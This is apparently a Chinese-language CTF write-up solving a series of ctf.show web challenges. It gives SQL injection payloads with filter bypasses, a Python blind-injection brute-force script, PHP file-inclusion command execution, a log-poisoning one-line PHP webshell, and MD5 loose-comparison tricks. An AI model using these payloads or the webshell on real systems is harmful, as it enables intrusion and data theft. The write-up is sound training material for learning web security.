web签到题
题目
web签到题
分析
F12 打开 html 文件:
将注释进行 Base64 解码得到 flag。
web2
题目
最简单的SQL注入
分析
看着应该是 SQL 注入题。
先尝试使用 admin 和 123456 登录,发现没有任何回显。看来报错被屏蔽了。
显然 admin 栏如果注入成功则属于字符型注入。尝试使用万能密码作为用户名登录并把后面的密码语句注释掉,填入 admin' or 1=1 #
,密码随便填,得到登录成功的回显:
之后通过 “order by
+数字” 猜测表的字段数,当猜测的数字小于或等于实际字段数,回显正确,否则报错。向用户名填入 admin' or 1=1 order by 10#
发现无任何回显,说明报错了。依次使用 9、8、7…… 替换上述命令中的 10,当尝试到 3 的时候出现回显,说明该表的字段数为 3:
在获得字段数之后,我们需要测试哪个字段在网站上能够得到回显。这里使用联合查询 union select
语句,向用户名传入 admin' or 1=1 union select 1,2,3#
,得到的回显中只有 2,即只有第 2 个字段能够产生回显:
于是我们向第 2 个字段位置输入 database()
以获得当前数据库名,向用户名传入 admin' or 1=1 union select 1,database(),3#
,得到数据库名为 web2:
通过 (select group_concat(table_name) from information_schema.tables where table_schema='xxx')
查询数据库 web2 的表名并将所有表名写入一行输出。其中 group_concat()
将所有内容写入一行并输出;information_schema
是 mysql 自带的库,记录了该数据库所有的表名和字段名。向用户名传入 admin' or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3#
,得到 web2 的表名 flag 和 user:
通过 (select group_concat(column_name) from information_schema.columns where table_name='xxx')
查询 web2 数据库 flag 表中的字段名并将所有字段名写入一行输出。向用户名传入 admin' or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag'),3#
,得到字段名 flag:
最后查询 flag 字段的值。向用户名传入 admin' or 1=1 union select 1,(select flag from flag),3#
,得到 flag。
参考
ctf.show web2 最简单的SQL注入-0d@y-CSDN
sql回显注入(满满的干货)-iwhattt-博客园
sql注入之万能密码总结-無名之涟-CSDN
SQL注入 (初级篇) 数字形注入与字符型注入区别-笑傲code-CSDN
SQL 注入之 UNION 查询(回显)-z_hunter-CSDN
浅谈SQL注入中的-1‘ union select 1,2,3#-娄不夜-CSDN
SQL注入:union注入学习笔记整理-冇得理想-CSDN
SQL注入如何判断数据库类型-2021!-CSDN
SQL注入常用命令-浅笑996-博客园
史上最全SQL基础知识总结(理论+举例)-Yvonne.Y-CSDN
web3
题目
更简单的web题
分析
代码出现 include,猜测是文件包含漏洞。
通过 data://
数据流 + php 命令执行函数查询当前工作目录下的内容,使用 hackbar 需要先进行 url 编码:
得到 flag 文件名和首页文件:
?url=data://text/plain,%3C%3Fphp%0Asystem('cat ctf_go_go_go')%3B%0A%3F%3E
打开 flag 文件,得到 flag 内容。
参考
Web_XCTF_WriteUp | Web_php_include-Guanz-博客园
web4
题目
分析
和上一题显示的页面一样,用同样的方法尝试注入:
出现报错:
看来这题相比上一题增加了过滤。
使用 shell_exec
同理:
换个思路,尝试使用一句话木马连接服务器后台。
根据发回的响应包可以确定这题使用的是 nginx 服务器:
看看访问日志先,?url=/var/log/nginx/access.log
:
尝试使用日志包含写入一句话木马,往 User-Agent 字段传入一句话木马 <?php @eval($_POST['web4']);?>
传入后的日志增加一条记录:
使用中国蚁剑连接日志文件,在 /var/www/flag.txt 目录找到 flag 内容。
参考
ctfshow_WriteUp | _萌新-Guanz-博客园
web5
题目
分析
php 代码审计题,看看代码:
<?php
error_reporting(0); // 出错不报错
?>
<html lang="zh-CN"> // 中文语言
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
<title>ctf.show_web5</title>
</head>
<body>
<center>
<h2>ctf.show_web5</h2>
<hr>
<h3>
</center>
<?php
$flag="";
$v1=$_GET['v1']; // get请求传入v1的值
$v2=$_GET['v2']; // get请求传入v2的值
if(isset($v1) && isset($v2)){ // 如果对v1和v2都传入了值
if(!ctype_alpha($v1)){ // 如果向v1传入的字符串中存在非字母字符
die("v1 error"); // 输出“v1 error”并退出脚本
}
if(!is_numeric($v2)){ // 如果向v2传入的不是数字或数字字符串
die("v2 error"); // 输出“v2 error”并退出脚本
}
if(md5($v1)==md5($v2)){ // 如果v1和v2的md5值在转换为相同类型后相等
echo $flag; // 输出flag
}
}else{
echo "where is flag?"; // 输出“where is flag?”
}
?>
</body>
</html>
源码对 v1 和 v2 的 md5 值进行松散比较。我们知道不同的明文计算出的 md5 值不可能相同,所以我们只能通过向 v1 传入字母字符串并向 v2 传入数字,使二者计算出的 md5 值转换为数字类型后相等即可。因为 php 会将“数字 + e
”开头的字符串解释为科学计数法表示的数字,即 AeB 表示为值 \(A×10^{B}\),那么以 0e
开头的数字将一律被解释为 0。根据这一特点找到符合条件的 v1 和 v2 进行哈希值碰撞即可。
payload:?v1=QNKCDZO&v2=240610708
。
参考
PHP弱类型比较(松散比较)方面的漏洞-日暮途远.-CSDN
常见的MD5碰撞:md5值为0e开头-烟雨天青色-CSDN
web6
题目
分析
又是一道 sql 注入题,尝试万能密码 admin' or 1=1 #
注入用户名,密码随意,得到回显:
看来被过滤了,尝试了多种万能密码都得到相同的回显。
多次尝试绕过后,发现存在空格过滤,我们通过 admin'/**/or/**/1=1/**/#
完全替代空格对空格进行绕过:
之后的操作类似于 web2,我们从 admin'/**/or/**/1=1/**/order/**/by/**/10#
开始递减,尝试到 admin'/**/or/**/1=1/**/order/**/by/**/3#
时得到回显,说明该表的字段数为 3:
我们再向用户名传入 admin'/**/or/**/1=1/**/union/**/select/**/1,2,3#
,在第 2 个字段得到回显:
向用户名传入 admin'/**/or/**/1=1/**/union/**/select/**/1,database(),3#
,得到数据库名为 web2:
向用户名传入 admin'/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web2'),3#
,得到 web2 的表名 flag 和 user:
向用户名传入 admin'/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),3#
,得到字段名 flag:
向用户名传入 admin'/**/or/**/1=1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#
,得到 flag 内容。
参考
千方百技第六期|MySQL注入绕过思路分享-安全玻璃盒_杭州孝道科技-FreeBuf网络安全行业门户
ctfshow_WriteUp | WEB-Guanz-博客园
web7
题目
分析
依次点击查看三篇文章,发现 url 分别为 index.php?id=1
index.php?id=2
index.php?id=3
:
尝试将 id 值改为 10000 和 -1,页面正常显示,猜测对 id 的值存在 sql 注入:
使用万能密码,对 id 传入值 ?id=1 or 1=1
,发现存在过滤:
不会又是过滤空格吧?试试:
(邪魅一笑
查查字段数。还是从 ?id=1/**/or/**/1=1/**/order/**/by/**/10
开始递减,尝试到 ?id=1/**/or/**/1=1/**/order/**/by/**/3
时显示三篇文章内容,说明该表的字段数为 3:
看看回显位置。传入 ?id=1/**/or/**/1=1/**/union/**/select/**/1,2,3
,在字段 2、3 的位置均得到回显:
我们选择向字段 2 的位置进行注入。传入 ?id=1/**/or/**/1=1/**/union/**/select/**/1,database(),3
,得到数据库名为 web7:
向 id 继续传入 ?id=1/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="web7"),3
,得到 web7 的三个表名 flag,page,user:
这里的 table_schema 赋为 'web7' 时无法显示,需要用双引号包裹,猜测是存在单引号过滤。
向 id 传入值 ?id=1/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"),3
,得到字段名 flag:
继续传入 ?id=1/**/or/**/1=1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3
,得到 flag 内容。
web8
题目
做到这一题,基本可以写简单的注入工具了
分析
界面和上一题 web7 相同,但在查看回显位置的步骤时出现过滤:
反正只存在三个可能的回显位置,我们选择逐一尝试找到回显点,但还是被过滤了:
猜测是对联合查询 union select
存在过滤……尬住。
………………………… 2024/4/24 重做 …………………………
重新把这题的容器打开,发现环境升级为加密的了,尝试了一下发现不影响解题:
第一步照常判断表的字段数,从 ?id=1/**/or/**/1=1/**/order/**/by/**/10
开始递减,尝试到 ?id=1/**/or/**/1=1/**/order/**/by/**/3
时显示所有文章内容,说明该表的字段数为 3:
在现有 WP 中学习了一圈,发现不用联合查询的话还可以使用编码绕过,将 url 更改为 https://1ead7ab2-226b-418c-b837-6ac693695fc2.challenge.ctf.show/index.php?id=1/**/or/**/ascii(substr(database()/**/from/**/1/**/for/**/1))=32
,运行后仅返回 id=1
的文章,即 or
之后的条件不成立。当 or
后面的语句成立时,页面将返回全部三篇文章。
这里的 ascii(substr(database()/**/from/**/1/**/for/**/1))=32
中 database()
指当前数据库,substr()
对 database()
的返回值即当前数据库名进行索引,因为在 Mysql 中字符索引从 1 开始,所以 substr(database(),1,1)
表示从当前数据库名的第 1 个字符开始,截取 1 个字符。因为这题对逗号和空格过滤,所以咱这里把命令用 substr(database()/**/from/**/1/**/for/**/1)
的方式表达。因为这题还对 ''
进行了过滤,需要外层的 ascii()
对内层返回的字符进行 ASCII 编码绕过,当编码结果等于 =
后的数值时条件成立。同理,substr(database()/**/from/**/1/**/for/**/1)=chr(32)
表达了同样的意思。
参考大佬的脚本,我们对数据库名、表名、字段名及数据名进行爆破,为方便起见,我们将 id 的参数更改为 -1:
import requests # http请求库
url = 'https://1ead7ab2-226b-418c-b837-6ac693695fc2.challenge.ctf.show/index.php?id=-1/**/or/**/'
name = ''
# 循环100次(循环次数按照返回的字符串长度自定义) # 返回字符串长度即爆破出的数据库名/表名/字段名/数据
for i in range(1, 101): # 1-100
# 获取当前使用的数据库 # 依次截取database()数据库第1到100个字符
# payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
# 获取当前数据库的所有表 # 依次截取表第1到100个字符,database()可替换为web8的十六进制表示0x77656238
# payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
# 获取flag表的字段 # 依次截取字段第1到100个字符,0x666C6167是flag的十六进制表示
# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
# 获取flag表的数据 # 依次截取数据第1到100个字符
payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
count = 0
print('正在获取第 %d 个字符' % i) # %格式化输出
# 截取SQL查询结果的每个字符, 并判断字符内容
for j in range(32, 128): # ascii码从32尝试到127
result = requests.get(url + payload % (i, j)) # payload第一个%d格式化为i值,第二个%d格式化为j值
if 'If' in result.text: # id设置为-1时不显示任一文章,当爆破出某一字符时将显示id=1,2,3的文章,其中id=1的文章标题为If
name += chr(j) # 拼接数据库名/表名/字段名/数据
print('数据库名/表名/字段名/数据: %s' % name)
break
# 如果某个字符不存在,则停止程序
count += 1
if count >= (128 - 32):
exit()
依次爆破数据库名/表名/字段名/数据,得到结果分别为 web8/flag,page,user/flag/ctfshow{ff22cab2-ac59-46d1-ac4b-9d7591bfe630}
爆破过程中可能存在网络不良而导致的爆破中断,可以根据爆破进度调整 i 值的起始值继续爆破。
参考
ctfshow-WEB-web8-士别三日wyx-CSDN
ctf_show Web的Web8题解-钟佳标-博客园
web9
题目
分析
得,这看着还是 SQL。试了试发现没有报错回显,尝试时间盲注也没有反应。在查看 robots 协议的时候发现一个 index.phps 文件:
下载得到如下内容:
<?php
$flag="";
$password=$_POST['password']; // POST形式传参给password
if(strlen($password)>10){ // password参数长度需小于等于10字符
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'"; // 查找user表中username为admin字段、password为输入值的原始16字符二进制格式输出的md5码的结果并返回
$result=mysqli_query($con,$sql); // 使用con的链接在数据库中查询sql
if(mysqli_num_rows($result)>0){ // 如果返回结果集的行数大于0
while($row=mysqli_fetch_assoc($result)){ // 循环从结果集中取一行作为关联数组直至取完每一行
echo "登陆成功<br>";
echo $flag; // 输出flag
}
}
?>
从源码仅能知道 password 参数的长度限制和查询方法,尝试万能密码注入后未能成功,于是 WP 解法,了解到一串神奇字符 ffifdyop
,经 md5 计算后得到值为 276F722736C95D99E921722CF9ED621C
,转换为字符串得到 'or'6É]é!r,ùíb
,因为 or
之后的值非零被认定为 TRUE,所以该字符串的 md5 值构成万能密码,得到 flag。
参考
while循环如何使用mysqli_fetch_assoc()?-腾讯云开发者社区-腾讯云
ctfshow-web9(奇妙的ffifdyop绕过)-Myon⁶-CSDN
ctfshow-web9-AW_SOLE-博客园
GitHub - maurosoria_dirsearch: Web path scanner
CyberChef
web10
题目
分析
这题多了个取消按钮?点一下!
下载了个 index.phps。
<?php
$flag="";
function replaceSpecialChar($strParam){ // 一个去除特殊字符的函数
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i"; // 匹配的字符串是不区分大小写的select、from、where、join、sleep、and、所有空白符、union、,
return preg_replace($regex,"",$strParam); // 将strParam字符串按regex模式匹配到的结果删掉
}
if (!$con) // 如果没有对con传参
{
die('Could not connect: ' . mysqli_error()); // 输出Could not connect: +报错内容后结束脚本
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){ // 如果username参数经过replaceSpecialChar函数后字符串长度不同
die("sql inject error"); // 输出sql inject error后结束脚本
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){ // 如果password参数经过replaceSpecialChar函数后字符串长度不同
die("sql inject error"); // 输出sql inject error后结束脚本
}
$sql="select * from user where username = '$username'"; // sql语句在user表中查找username等于输入值的数据
$result=mysqli_query($con,$sql); // 通过con连接根据sql语句查询
if(mysqli_num_rows($result)>0){ // 如果返回结果集的行数大于0
while($row=mysqli_fetch_assoc($result)){ // 循环从结果集中取一行作为关联数组直至取完每一行
if($password==$row['password']){ // 如果返回的密码列中存在与输入密码相同的值
echo "登陆成功<br>";
echo $flag; // 输出flag
}
}
}
?>
好家伙好家伙,把路堵死了是吧。
使用 WP 解法,学到一种巧妙操作,payload:username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
,其中:
group by
:mysql 语句,将结果按所选表头的值进行分组。该语句中将结果按 password 的值分类进行输出。
with rollup
:mysql 语句,定义在 group by
之后,将分类后的结果进行统计,输出时在表末尾增加一行名为 NULL、值为统计总数的记录。该语句中在 group by
输出表格的基础上增加一行 password
值为 NULL 的记录输出。
/**/
:用于绕过对空白符的过滤。
#
:注释符。作为语句的结束,将后面的 password
注释掉。
因为输出的 password
值中存在一行 NULL
,以上 payload 不对 password
进行传参,使得 password
值为 NULL,从而满足 flag 的输出条件。
参考
web11
题目
分析
<?php
function replaceSpecialChar($strParam){ // 一个去除特殊字符的函数
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i"; // 匹配的字符串是不区分大小写的select、from、where、join、sleep、and、所有空白符、union、,
return preg_replace($regex,"",$strParam); // 将strParam字符串按regex模式匹配到的部分删掉
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){ // 如果匹配前后字符串长度改变
die("sql inject error"); // 输出sql inject error后结束脚本
}
if($password==$_SESSION['password']){ // 将输入的password比对session中的数据
echo $flag; // 相同输出flag
}else{
echo "error"; // 不同输出error
}
?>
这题需要比对的值在 session 中,session 是存储在服务器中的。而且容器的密码框内预先给出了一串密码,先登录拦包看看:
从拦截到的请求包可以看出:
- 预置密码是 123456
- PHPSESSID 值已经存在
根据源码,客户端将向服务端发送带 PHPSESSID 值的请求包,服务器通过该 PHPSESSID 值查找服务端的 session 文件,将得到的 $_SESSION['password'] 值与输入的 password 进行比对。
看大佬是 WP 是直接将 PHPSESSID 值删除并把 password 值置空提交的,猜测是由于 PHPSESSID 是客户端第一次向服务端发送请求时创建的,当请求包中的 PHPSESSID 值为空时,服务端会认为该请求来自新用户,并为其创建一个新的 PHPSESSID,此时该 PHPSESSID 对应的所有都为空,则参数为 NULL 的 $_SESSION['password'] 与空的 password 比较必然相等,满足判断条件,从而得到 flag。
参考
PHP中Session ID的实现原理分析和实例解析-php007-腾讯云开发者社区
web12
题目
分析
F5 打开 html 代码,看到一条提示:
尝试了一些常用命令结果没有反应:
看大佬的 WP 学到能以数组方式返回目录的函数 scandir()
和 glob()
,通过 print_r()
函数可将数组内容打印出来:
列表中出现的长名称文件显得很可疑,highlight_file()
查看文件内容成功,得到 flag:
参考
ctfshow-web12-AW_SOLE-博客园
PHP中的代码执行,命令执行与常见bypass技巧-k1hedodo-FreeBuf网络安全行业门户
【未完成】红包题第二弹
题目
分析
这题和 web12 很像,包括注释:
先看看 php 版本。传入 ?cmd=phpinfo();
掉落源码:
<?php
#error_reporting(0);
?>
<html lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width minimum-scale=1.0 maximum-scale=1.0 initial-scale=1.0" />
<title>ctf.show_红包题</title>
</head>
<body>
<center>
<h2>ctf.show_红包题</h2>
<h4>where is the flag?</h4>
</center>
<!-- hint:?cmd= -->
<?php
if(isset($_GET['cmd'])){ // 如果cmd接收到传参
$cmd=$_GET['cmd']; // 参数赋给cmd
highlight_file(__FILE__); // 当前文件高亮显示
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){ // 如果cmd的结尾正则匹配上大写字母、小写字母(除q以外)和数字一次或多次
die("cerror"); // 输出cerror并退出脚本
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){ // 如果cmd正则匹配上“~”或“!”或“@”或“#”或“%”或“^”或“&”或“*”或“(”或“)”或“(”或“)”或“-”或“_”或“{”或“}”或“[”或“]”或“'”或“"”或“:”或“,”
die("serror"); // 输出serror并退出脚本
}
eval($cmd); // 执行cmd语句
}
?>
</body>
</html>
过滤了末尾的大小写和数字,以及对整个字符串进行符号过滤。没有被过滤的字符有 p
`
$
+
=
;
<
>
.
/
?